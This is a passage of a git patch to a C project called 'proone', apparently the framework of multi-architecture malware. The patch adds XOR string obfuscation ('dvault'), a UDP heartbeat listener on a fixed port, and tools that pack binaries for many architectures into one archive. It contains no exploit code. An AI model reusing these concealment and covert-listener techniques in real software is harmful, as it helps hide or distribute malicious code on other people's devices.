From ed809a51fdd1c313cd256301ef6f7211e8394cb1 Mon Sep 17 00:00:00 2001 From: David Timber Date: Wed, 1 Jan 2020 09:50:34 +1100 Subject: checkpoint --- scripts/build-all.sh | 11 +- scripts/test_bin-archive.sh | 10 +- src/Makefile.am | 28 ++--- src/data.c | 9 ++ src/data.h | 13 +++ src/dvault.c | 187 ++++++++++++++++++++++++++++++++ src/dvault.h | 47 +++++++++ src/heartbeat-worker.c | 159 ++++++++++++++++++++++++++++ src/heartbeat-worker.h | 9 ++ src/pack.c | 240 ++++++++++++++++++++++++++++++++++++++++++ src/pack.h | 47 +++++++++ src/proone-list-arch.c | 8 +- src/proone-mask.c | 20 ++-- src/proone-pack.c | 145 +++++++++++++++++++++++++ src/proone-packer.c | 145 ------------------------- src/proone-print-all-data.c | 20 ++-- src/proone-unpack.c | 144 +++++++++++++++++++++++++ src/proone-unpacker.c | 144 ------------------------- src/proone.c | 132 +++++++++++------------ src/proone.h | 14 +-- src/proone_data.c | 9 -- src/proone_data.h | 13 --- src/proone_dvault.c | 187 -------------------------------- src/proone_dvault.h | 47 --------- src/proone_heartbeat-worker.c | 159 ---------------------------- src/proone_heartbeat-worker.h | 9 -- src/proone_pack.c | 240 ------------------------------------------ src/proone_pack.h | 47 --------- src/proone_protocol.c | 69 ------------ src/proone_protocol.h | 25 ----- src/proone_rnd.c | 93 ---------------- src/proone_rnd.h | 27 ----- src/proone_util.c | 216 ------------------------------------- src/proone_util.h | 34 ------ src/proone_worker.c | 49 --------- src/proone_worker.h | 64 ----------- src/protocol.c | 69 ++++++++++++ src/protocol.h | 25 +++++ src/rnd.c | 93 ++++++++++++++++ src/rnd.h | 27 +++++ src/util.c | 216 +++++++++++++++++++++++++++++++++++++ src/util.h | 34 ++++++ src/worker.c | 49 +++++++++ src/worker.h | 64 +++++++++++ 44 files changed, 1699 insertions(+), 1698 deletions(-) create mode 100644 src/data.c create mode 100644 src/data.h create mode 100644 src/dvault.c create mode 100644 src/dvault.h create mode 100644 src/heartbeat-worker.c create mode 100644 src/heartbeat-worker.h create mode 100644 src/pack.c create mode 100644 src/pack.h create mode 100644 src/proone-pack.c delete mode 100644 src/proone-packer.c create mode 100644 src/proone-unpack.c delete mode 100644 src/proone-unpacker.c delete mode 100644 src/proone_data.c delete mode 100644 src/proone_data.h delete mode 100644 src/proone_dvault.c delete mode 100644 src/proone_dvault.h delete mode 100644 src/proone_heartbeat-worker.c delete mode 100644 src/proone_heartbeat-worker.h delete mode 100644 src/proone_pack.c delete mode 100644 src/proone_pack.h delete mode 100644 src/proone_protocol.c delete mode 100644 src/proone_protocol.h delete mode 100644 src/proone_rnd.c delete mode 100644 src/proone_rnd.h delete mode 100644 src/proone_util.c delete mode 100644 src/proone_util.h delete mode 100644 src/proone_worker.c delete mode 100644 src/proone_worker.h create mode 100644 src/protocol.c create mode 100644 src/protocol.h create mode 100644 src/rnd.c create mode 100644 src/rnd.h create mode 100644 src/util.c create mode 100644 src/util.h create mode 100644 src/worker.c create mode 100644 src/worker.h diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 909db75..e24cf5b 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -42,9 +42,9 @@ PROONE_PREFIX="builds" PROONE_BIN="$PROONE_PREFIX/bin" PROONE_TOOLS="$PROONE_PREFIX/tools" export PROONE_BIN_PREFIX="$PROONE_BIN/proone" -PROONE_PACKER="$PROONE_TOOLS/proone-packer" -PROONE_UNPACKER="$PROONE_TOOLS/proone-unpacker" -PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive.zz.base64" +PROONE_PACKER="$PROONE_TOOLS/proone-pack" +PROONE_UNPACKER="$PROONE_TOOLS/proone-unpack" +PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive" rm -rf "$PROONE_PREFIX" && mkdir "$PROONE_PREFIX" "$PROONE_BIN" "$PROONE_TOOLS" if [ $? -ne 0 ] ; then @@ -54,7 +54,7 @@ fi make distclean # native build for tools -./configure && make -j$(nproc) && cp -a src/proone-packer "$PROONE_PACKER" && cp -a src/proone-unpacker "$PROONE_UNPACKER" && make distclean +./configure && make -j$(nproc) && cp -a src/proone-pack "$PROONE_PACKER" && cp -a src/proone-unpack "$PROONE_UNPACKER" && make distclean if [ $? -ne 0 ]; then exit $? fi @@ -68,7 +68,8 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do done # pack -"$PROONE_PACKER" "$PROONE_BIN_PREFIX."* | pigz -z - | base64 > "$PROONE_BIN_ARCHIVE" +echo "" > "$PROONE_BIN_ARCHIVE" # don't include the credential line +"$PROONE_PACKER" "$PROONE_BIN_PREFIX."* | pigz -z - | base64 >> "$PROONE_BIN_ARCHIVE" if [ $? -ne 0 ]; then exit $? fi diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh index c4e1d93..0506102 100755 --- a/scripts/test_bin-archive.sh +++ b/scripts/test_bin-archive.sh @@ -16,10 +16,10 @@ if [ -z "$LISTARCH" ]; then LISTARCH="../src/proone-list-arch" fi if [ -z "$PACKER" ]; then - PACKER="../src/proone-packer" + PACKER="../src/proone-pack" fi if [ -z "$UNPACKER" ]; then - UNPACKER="../src/proone-unpacker" + UNPACKER="../src/proone-unpack" fi ARCH_ARR=(`"$LISTARCH"`) @@ -41,12 +41,12 @@ for arch in ${ARCH_ARR[@]}; do fi done -"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" +"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | pigz -z - | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then exit 2; fi -"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" +"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX" if [ $? -ne 0 ]; then exit 2; fi @@ -58,6 +58,6 @@ for arch in ${ARCH_ARR[@]}; do fi done -echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX.zz.b64" | awk '{print $1;}') >> "$SIZE_LOG" +echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG" exit 0 diff --git a/src/Makefile.am b/src/Makefile.am index 910f7ba..6ebd69d 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -11,29 +11,29 @@ endif AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -Wno-unused-parameter -D_GNU_SOURCE $(DEV_FLAGS) noinst_LIBRARIES = libproone.a -bin_PROGRAMS = proone proone-packer proone-unpacker proone-list-arch proone-mask proone-print-all-data +bin_PROGRAMS = proone proone-pack proone-unpack proone-list-arch proone-mask proone-print-all-data libproone_a_SOURCES =\ - proone_protocol.c\ - proone_pack.c\ - proone_dvault.c\ - proone_data.c\ - proone_util.c\ - proone_rnd.c + protocol.c\ + pack.c\ + dvault.c\ + data.c\ + util.c\ + rnd.c proone_LDFLAGS = -static proone_LDADD = libproone.a $(DEP_LIBS) -lrt proone_SOURCES =\ - proone_worker.c\ - proone_heartbeat-worker.c\ + worker.c\ + heartbeat-worker.c\ proone.c -proone_packer_LDADD = libproone.a -proone_packer_SOURCES = proone-packer.c +proone_pack_LDADD = libproone.a +proone_pack_SOURCES = proone-pack.c -proone_unpacker_LDADD = libproone.a -proone_unpacker_LDFLAGS = $(DEP_LIBS) -proone_unpacker_SOURCES = proone-unpacker.c +proone_unpack_LDADD = libproone.a +proone_unpack_LDFLAGS = $(DEP_LIBS) +proone_unpack_SOURCES = proone-unpack.c proone_list_arch_LDADD = libproone.a proone_list_arch_SOURCES = proone-list-arch.c diff --git a/src/data.c b/src/data.c new file mode 100644 index 0000000..6798175 --- /dev/null +++ b/src/data.c @@ -0,0 +1,9 @@ +#include "data.h" + + +uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY] = { + // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" + (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", + // PRNE_DATA_KEY_SIGN_INIT_OK: "cd264451-2156-4e12-ae1c-89931878a54f" + (uint8_t*)"\x00\x37\x00\x24\x41\xEC\xB4\xD8\xF2\x70\xFE\x92\xC1\x6B\xBD\xB8\x49\x46\x3E\x58\x96\x5C\xB2\x4B\x1E\x23\x1E\x90\xC0\x2C\x95\xCA\xE8\x06\xC2\x00\x95\x58\x9F\x8F", +}; diff --git a/src/data.h b/src/data.h new file mode 100644 index 0000000..740e8b4 --- /dev/null +++ b/src/data.h @@ -0,0 +1,13 @@ +#pragma once +#include + + +typedef enum { + PRNE_DATA_KEY_NONE = -1, + PRNE_DATA_KEY_PROC_LIM_SHM, + PRNE_DATA_KEY_SIGN_INIT_OK, + NB_PRNE_DATA_KEY +} prne_data_key_t; + + +extern uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY]; diff --git a/src/dvault.c b/src/dvault.c new file mode 100644 index 0000000..df2f0d6 --- /dev/null +++ b/src/dvault.c @@ -0,0 +1,187 @@ +#include "dvault.h" + +#include +#include +#include +#include +#include + + +const uint8_t PRNE_DVAULT_MASK[] = { + 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, + 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, + 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, + 0xF7, 0x90, 0x8B, 0x2D, 0x1F, 0xB1, 0x18, 0x4B, 0x3C, 0x32, + 0x58, 0xFC, 0x34, 0x94, 0xCA, 0x31, 0x43, 0xDB, 0x93, 0x55, + 0xB5, 0xEF, 0x02, 0x8E, 0x84, 0x22, 0x88, 0x86, 0xEE, 0xC6, + 0x44, 0xCB, 0xA3, 0xEC, 0x59, 0x8C, 0x8D, 0x7F, 0x6B, 0x0A, + 0x3D, 0xA7, 0x6E, 0x9F, 0x2A, 0x7B, 0x12, 0x7D, 0xBD, 0xF8, + 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, + 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, + 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, + 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0xEB, 0xDC, 0x2C, + 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, + 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, + 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, + 0xB6, 0x63, 0x9E, 0x7C, 0x87, 0x60, 0x51, 0xFD, 0xF0, 0x76, + 0x4E, 0x4A, 0x9B, 0x1D, 0xF1, 0x0F, 0x06, 0xD1, 0x68, 0x99, + 0x20, 0x81, 0x3A, 0xE3, 0x25, 0xAA, 0x36, 0x98, 0x62, 0x96, + 0xC4, 0x30, 0x37, 0x47, 0x2B, 0x3B, 0x80, 0x64, 0x21, 0x67, + 0xB0, 0xB4, 0x01, 0x89, 0xC1, 0x0C, 0x41, 0xC3, 0x57, 0xB2, + 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, + 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, + 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, + 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0x74, 0xDA, 0xC7, 0xA4, 0xA9, + 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, + 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 +}; + +static uint8_t *unmasked_buf = NULL; +static size_t unmasked_buf_size = 0; + + +static void invert_entry (const prne_data_key_t key, size_t *len) { + const size_t entry_size = prne_dvault_get_entry_size(key); + + if (len != NULL) { + *len = entry_size; + } + memcpy(unmasked_buf, PRNE_DATA_DICT[key] + 4, entry_size); + prne_dvault_invert_mem(entry_size, unmasked_buf, prne_dvault_get_entry_salt(key)); +} + +static void entry_check (const prne_data_key_t key, const prne_data_type_t type) { + if (!(PRNE_DATA_KEY_NONE < key && key < NB_PRNE_DATA_KEY) || + !(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE) || + type != prne_dvault_get_entry_data_type(key)) { + abort(); + } +} + + +const char *prne_data_type2str (const prne_data_type_t t) { + switch (t) { + case PRNE_DATA_TYPE_CSTR: return "cstr"; + } + return NULL; +} + +prne_data_type_t prne_str2data_type (const char *str) { + if (strcmp(str, prne_data_type2str(PRNE_DATA_TYPE_CSTR)) == 0) { + return PRNE_DATA_TYPE_CSTR; + } + return PRNE_DATA_TYPE_NONE; +} + +void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { + size_t i; + + for (i = 0; i < size; i += 1) { + m[i] ^= PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]; + } +} + +void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r) { + r->result = PRNE_DVAULT_MASK_OK; + r->str = NULL; + r->str_len = 0; +} + +void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) { + free(r->str); + r->str_len = 0; + r->str = NULL; + r->result = PRNE_DVAULT_MASK_OK; +} + +prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { + size_t i; + prne_dvault_mask_result_t ret; + + prne_init_dvault_mask_result(&ret); + + if (data_size > 0x0000FFFF) { + ret.result = PRNE_DVAULT_MASK_TOO_LARGE; + return ret; + } + if (!(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE)) { + ret.result = PRNE_DVAULT_MASK_INVALID_TYPE; + return ret; + } + + ret.str_len = 4 * 4 + 4 * data_size + 1; + ret.str = malloc(ret.str_len); + if (ret.str == NULL) { + ret.result = PRNE_DVAULT_MASK_MEM_ERR; + ret.str_len = 0; + return ret; + } + + sprintf(ret.str, "\\x%02X\\x%02X\\x%02X\\x%02X", + (uint8_t)type, + salt, + (uint8_t)((0x0000FF00 & (uint32_t)data_size) >> 8), + (uint8_t)((0x000000FF & (uint32_t)data_size) >> 0)); + + for (i = 0; i < data_size; i += 1) { + sprintf(ret.str + 4 * 4 + 4 * i, "\\x%02X", data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]); + } + + return ret; +} + +void prne_init_dvault (void) { + size_t max_size = 0; + size_t entry_size; + prne_data_key_t i; + + for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { + entry_size = prne_dvault_get_entry_size(i); + switch (prne_dvault_get_entry_data_type(i)) { + case PRNE_DATA_TYPE_CSTR: + entry_size += 1; + break; + } + + if (entry_size > max_size) { + max_size = entry_size; + } + } + + if (max_size == 0) { + abort(); + } + unmasked_buf = calloc(max_size, 1); + unmasked_buf_size = max_size; + if (unmasked_buf == NULL) { + abort(); + } +} + +void prne_deinit_dvault (void) { + free(unmasked_buf); + unmasked_buf = NULL; +} + +prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key) { + return (prne_data_type_t)PRNE_DATA_DICT[key][0]; +} + +size_t prne_dvault_get_entry_size (const prne_data_key_t key) { + return (size_t)PRNE_DATA_DICT[key][2] << 8 | (size_t)PRNE_DATA_DICT[key][3]; +} + +uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key) { + return PRNE_DATA_DICT[key][1]; +} + +char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len) { + prne_dvault_reset_dict(); + entry_check(key, PRNE_DATA_TYPE_CSTR); + invert_entry(key, len); + return (char*)unmasked_buf; +} + +void prne_dvault_reset_dict (void) { + memset(unmasked_buf, 0, unmasked_buf_size); +} diff --git a/src/dvault.h b/src/dvault.h new file mode 100644 index 0000000..71fbc5e --- /dev/null +++ b/src/dvault.h @@ -0,0 +1,47 @@ +#pragma once +#include +#include +#include + +#include "data.h" + + +typedef struct prne_dvault_mask_result prne_dvault_mask_result_t; + +typedef enum { + PRNE_DATA_TYPE_NONE = -1, + PRNE_DATA_TYPE_CSTR, + NB_PRNE_DATA_TYPE +} prne_data_type_t; + +typedef enum { + PRNE_DVAULT_MASK_OK, + PRNE_DVAULT_MASK_MEM_ERR, + PRNE_DVAULT_MASK_TOO_LARGE, + PRNE_DVAULT_MASK_INVALID_TYPE +} prne_dvault_mask_result_code_t; + +struct prne_dvault_mask_result { + size_t str_len; + char *str; + prne_dvault_mask_result_code_t result; +}; + + +extern const uint8_t PRNE_DVAULT_MASK[256]; + +const char *prne_data_type2str (const prne_data_type_t t); +prne_data_type_t prne_str2data_type (const char *str); +void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); + +void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r); +void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r); +prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); + +void prne_init_dvault (void); +void prne_deinit_dvault (void); +prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key); +size_t prne_dvault_get_entry_size (const prne_data_key_t key); +uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key); +char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len); +void prne_dvault_reset_dict (void); diff --git a/src/heartbeat-worker.c b/src/heartbeat-worker.c new file mode 100644 index 0000000..e3e4acd --- /dev/null +++ b/src/heartbeat-worker.c @@ -0,0 +1,159 @@ +#include "heartbeat-worker.h" +#include "dvault.h" + +#include +#include + +#include +#include +#include +#include +#include + +#define DECL_CTX_PTR(p) hb_w_ctx_t*ctx=(hb_w_ctx_t*)p + +typedef struct hb_w_ctx hb_w_ctx_t; + +struct hb_w_ctx { + int fd; + int domain; + uint8_t rcv_buf[256]; + bool finalised; +}; + +static const uint16_t HEARTBEAT_DEFAULT_BIND_PORT = 55420; + +static void heartbeat_worker_free (void *in_ctx) { + DECL_CTX_PTR(in_ctx); + close(ctx->fd); + free(ctx); +} + +static void heartbeat_worker_fin (void *in_ctx) { + DECL_CTX_PTR(in_ctx); + ctx->finalised = true; +} + +static void heartbeat_worker_work (void *in_ctx, const prne_worker_sched_info_t *sched_info, prne_worker_sched_req_t *sched_req) { + DECL_CTX_PTR(in_ctx); + + if (sched_req->pollfd_ready) { + const short revents = sched_req->pollfd_arr[0].revents; + + if (revents & (POLLERR | POLLHUP | POLLNVAL)) { + ctx->finalised = true; + sched_req->flags = PRNE_WORKER_SCHED_FLAG_NONE; + return; + } + if (revents & POLLIN) { + socklen_t addr_len; + + // TODO + + if (ctx->domain == AF_INET) { + struct sockaddr_in remote_addr; + + addr_len = sizeof(struct sockaddr_in); + if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { + prne_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); + sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); + } + } + else { + struct sockaddr_in6 remote_addr; + + addr_len = sizeof(struct sockaddr_in6); + if (recvfrom(ctx->fd, ctx->rcv_buf, sizeof(ctx->rcv_buf), 0, (struct sockaddr*)&remote_addr, &addr_len) == sizeof(ctx->rcv_buf)) { + prne_dvault_invert_mem(sizeof(ctx->rcv_buf) - 1, ctx->rcv_buf + 1, ctx->rcv_buf[0]); + sendto(ctx->fd, ctx->rcv_buf + 1, sizeof(ctx->rcv_buf) - 1, 0, (const struct sockaddr*)&remote_addr, addr_len); + } + } + } + } + + sched_req->flags = PRNE_WORKER_SCHED_FLAG_POLL; + sched_req->mem_func.alloc(sched_req, 1); + sched_req->pollfd_arr[0].fd = ctx->fd; + sched_req->pollfd_arr[0].events = POLLIN; +} + +static bool heartbeat_worker_has_finalised (void *in_ctx) { + DECL_CTX_PTR(in_ctx); + return ctx->finalised; +} + + +bool prne_alloc_heartbeat_worker (prne_worker_t *w) { + bool ret = true; + hb_w_ctx_t *ctx = NULL; + + ctx = (hb_w_ctx_t*)malloc(sizeof(hb_w_ctx_t)); + if (ctx == NULL) { + ret = false; + goto END; + } + ctx->fd = -1; + ctx->domain = 0; + ctx->finalised = false; + + ctx->fd = socket(AF_INET6, SOCK_DGRAM, 0); + if (ctx->fd < 0) { + ctx->fd = socket(AF_INET, SOCK_DGRAM, 0); + + if (ctx->fd < 0) { + ret = false; + goto END; + } + ctx->domain = AF_INET; + } + else { + ctx->domain = AF_INET6; + } + + if (fcntl(ctx->fd, F_SETFL, O_NONBLOCK) < 0) { + ret = false; + goto END; + } + + if (ctx->domain == AF_INET) { + struct sockaddr_in local_addr; + + memset(&local_addr, 0, sizeof(struct sockaddr_in)); + local_addr.sin_family = AF_INET; + local_addr.sin_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); + local_addr.sin_addr.s_addr = INADDR_ANY; + + if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in)) < 0) { + ret = false; + goto END; + } + } + else { + struct sockaddr_in6 local_addr; + + memset(&local_addr, 0, sizeof(struct sockaddr_in6)); + local_addr.sin6_family = AF_INET6; + local_addr.sin6_port = htons(HEARTBEAT_DEFAULT_BIND_PORT); + + if (bind(ctx->fd, (const struct sockaddr*)&local_addr, sizeof(struct sockaddr_in6)) < 0) { + ret = false; + goto END; + } + } + + w->ctx = ctx; + w->free = heartbeat_worker_free; + w->fin = heartbeat_worker_fin; + w->work = heartbeat_worker_work; + w->has_finalised = heartbeat_worker_has_finalised; + +END: + if (!ret) { + if (ctx != NULL) { + close(ctx->fd); + } + free(ctx); + } + + return ret; +} diff --git a/src/heartbeat-worker.h b/src/heartbeat-worker.h new file mode 100644 index 0000000..7a5f060 --- /dev/null +++ b/src/heartbeat-worker.h @@ -0,0 +1,9 @@ +#pragma once +#include "worker.h" + +#include +#include +#include + + +bool prne_alloc_heartbeat_worker (prne_worker_t *w); diff --git a/src/pack.c b/src/pack.c new file mode 100644 index 0000000..e83d433 --- /dev/null +++ b/src/pack.c @@ -0,0 +1,240 @@ +#include "pack.h" +#include "util.h" + +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include + + +void prne_init_bin_archive (prne_bin_archive_t *a) { + a->data_size = 0; + a->data = NULL; + a->nb_binaries = 0; + a->arch_arr = NULL; + a->offset_arr = NULL; + a->size_arr = NULL; +} + +void prne_init_unpack_bin_archive_result (prne_unpack_bin_archive_result_t *r) { + r->data_size = 0; + r->data = NULL; + r->result = PRNE_UNPACK_BIN_ARCHIVE_OK; + r->err = 0; +} + +prne_unpack_bin_archive_result_t prne_unpack_bin_archive (const int fd) { + static const size_t fd_buf_size = 77, bio_buf_size = 58, z_buf_size = 4096; + + prne_unpack_bin_archive_result_t ret; + BIO *b64_bio = NULL, *mem_bio = NULL; + uint8_t *mem = NULL, *fd_buf = NULL, *bio_buf = NULL, *z_buf = NULL; + int fd_read_size, fd_data_size, bio_write_size, bio_read_size; + int z_func_ret; + z_stream stream; + size_t z_out_size; + void *ny_buf; + bool stream_end; + + prne_init_unpack_bin_archive_result(&ret); + memset(&stream, 0, sizeof(z_stream)); + + mem = (uint8_t*)malloc(fd_buf_size + bio_buf_size + z_buf_size); + if (mem == NULL) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.err = errno; + goto END; + } + fd_buf = mem; + bio_buf = mem + fd_buf_size; + z_buf = mem + fd_buf_size + bio_buf_size; + + z_func_ret = inflateInit(&stream); + if (z_func_ret != Z_OK) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; + ret.err = z_func_ret; + goto END; + } + + if ((mem_bio = BIO_new(BIO_s_mem())) == NULL || (b64_bio = BIO_new(BIO_f_base64())) == NULL) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; + ret.err = ERR_get_error(); + goto END; + } + BIO_set_flags(b64_bio, BIO_FLAGS_BASE64_NO_NL); + BIO_push(b64_bio, mem_bio); + + stream_end = false; + do { + fd_read_size = read(fd, fd_buf, fd_buf_size); + if (fd_read_size < 0) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_ERRNO; + ret.err = errno; + goto END; + } + if (fd_read_size == 0) { + break; + } + + // remove white spaces + fd_data_size = prne_str_shift_spaces((char*)fd_buf, (size_t)fd_read_size); + + if (fd_data_size > 0) { + BIO_reset(mem_bio); + bio_write_size = BIO_write(mem_bio, fd_buf, fd_data_size); + if (bio_write_size != fd_data_size) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; + goto END; + } + + bio_read_size = BIO_read(b64_bio, bio_buf, (int)bio_buf_size); + if (bio_read_size < 0) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_OPENSSL_ERR; + ret.err = ERR_get_error(); + goto END; + } + + if (bio_read_size > 0) { + stream.avail_in = bio_read_size; + stream.next_in = bio_buf; + do { + stream.avail_out = z_buf_size; + stream.next_out = z_buf; + z_func_ret = inflate(&stream, Z_NO_FLUSH); + switch (z_func_ret) { + case Z_STREAM_END: + stream_end = true; + break; + case Z_OK: + case Z_BUF_ERROR: + break; + default: + ret.result = PRNE_UNPACK_BIN_ARCHIVE_Z_ERR; + ret.err = z_func_ret; + goto END; + } + + z_out_size = z_buf_size - stream.avail_out; + if (z_out_size > 0) { + ny_buf = realloc(ret.data, ret.data_size + z_out_size); + if (ny_buf == NULL) { + ret.result = PRNE_UNPACK_BIN_ARCHIVE_MEM_ERR; + ret.err = errno; + break; + } + ret.data = (uint8_t*)ny_buf; + + memcpy(ret.data + ret.data_size, z_buf, z_out_size); + ret.data_size += z_out_size; + } + } while (stream.avail_out == 0); + } + } + } while (!stream_end); + +END: + free(mem); + if (ret.result != PRNE_UNPACK_BIN_ARCHIVE_OK) { + free(ret.data); + ret.data = NULL; + ret.data_size = 0; + } + inflateEnd(&stream); + BIO_free(b64_bio); + BIO_free(mem_bio); + + return ret; +} + +prne_index_bin_archive_result_code_t prne_index_bin_archive (prne_unpack_bin_archive_result_t *in, prne_bin_archive_t *out) { + prne_index_bin_archive_result_code_t ret = PRNE_INDEX_BIN_ARCHIVE_OK; + size_t buf_pos = 0, arr_cnt = 0, offset_arr[NB_PRNE_ARCH], size_arr[NB_PRNE_ARCH]; + prne_arch_t arch; + uint32_t bin_size; + prne_arch_t arch_arr[NB_PRNE_ARCH]; + prne_bin_archive_t archive; + uint8_t *out_buf; + + memset(arch_arr, 0, sizeof(prne_arch_t) * NB_PRNE_ARCH); + memset(offset_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); + memset(size_arr, 0, sizeof(size_t) * NB_PRNE_ARCH); + prne_init_bin_archive(&archive); + + do { + if (buf_pos + 4 >= in->data_size || arr_cnt >= NB_PRNE_ARCH) { + ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; + goto END; + } + + arch = (prne_arch_t)in->data[buf_pos]; + bin_size = + ((uint32_t)in->data[buf_pos + 1] << 16) | + ((uint32_t)in->data[buf_pos + 2] << 8) | + (uint32_t)in->data[buf_pos + 3]; + if (prne_arch2str(arch) == NULL || bin_size == 0 || buf_pos + 4 + bin_size > in->data_size) { + ret = PRNE_INDEX_BIN_ARCHIVE_FMT_ERR; + goto END; + } + + arch_arr[arr_cnt] = arch; + offset_arr[arr_cnt] = 4 + buf_pos; + size_arr[arr_cnt] = bin_size; + arr_cnt += 1; + + buf_pos += 4 + bin_size; + } while (buf_pos < in->data_size); + + out_buf = (uint8_t*)malloc(sizeof(prne_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt + sizeof(size_t*) * arr_cnt); + if (out_buf == NULL) { + ret = PRNE_INDEX_BIN_ARCHIVE_MEM_ERR; + goto END; + } + archive.arch_arr = (prne_arch_t*)out_buf; + archive.offset_arr = (size_t*)(out_buf + sizeof(prne_arch_t) * arr_cnt); + archive.size_arr = (size_t*)(out_buf + sizeof(prne_arch_t) * arr_cnt + sizeof(size_t*) * arr_cnt); + + archive.data_size = in->data_size; + archive.data = in->data; + archive.nb_binaries = arr_cnt; + memcpy(archive.arch_arr, arch_arr, arr_cnt * sizeof(prne_arch_t)); + memcpy(archive.offset_arr, offset_arr, arr_cnt * sizeof(size_t)); + memcpy(archive.size_arr, size_arr, arr_cnt * sizeof(size_t)); + + in->data = NULL; + in->data_size = 0; + *out = archive; + +END: + if (ret != PRNE_INDEX_BIN_ARCHIVE_OK) { + prne_free_bin_archive(&archive); + } + + return ret; +} + +void prne_free_unpack_bin_archive_result (prne_unpack_bin_archive_result_t 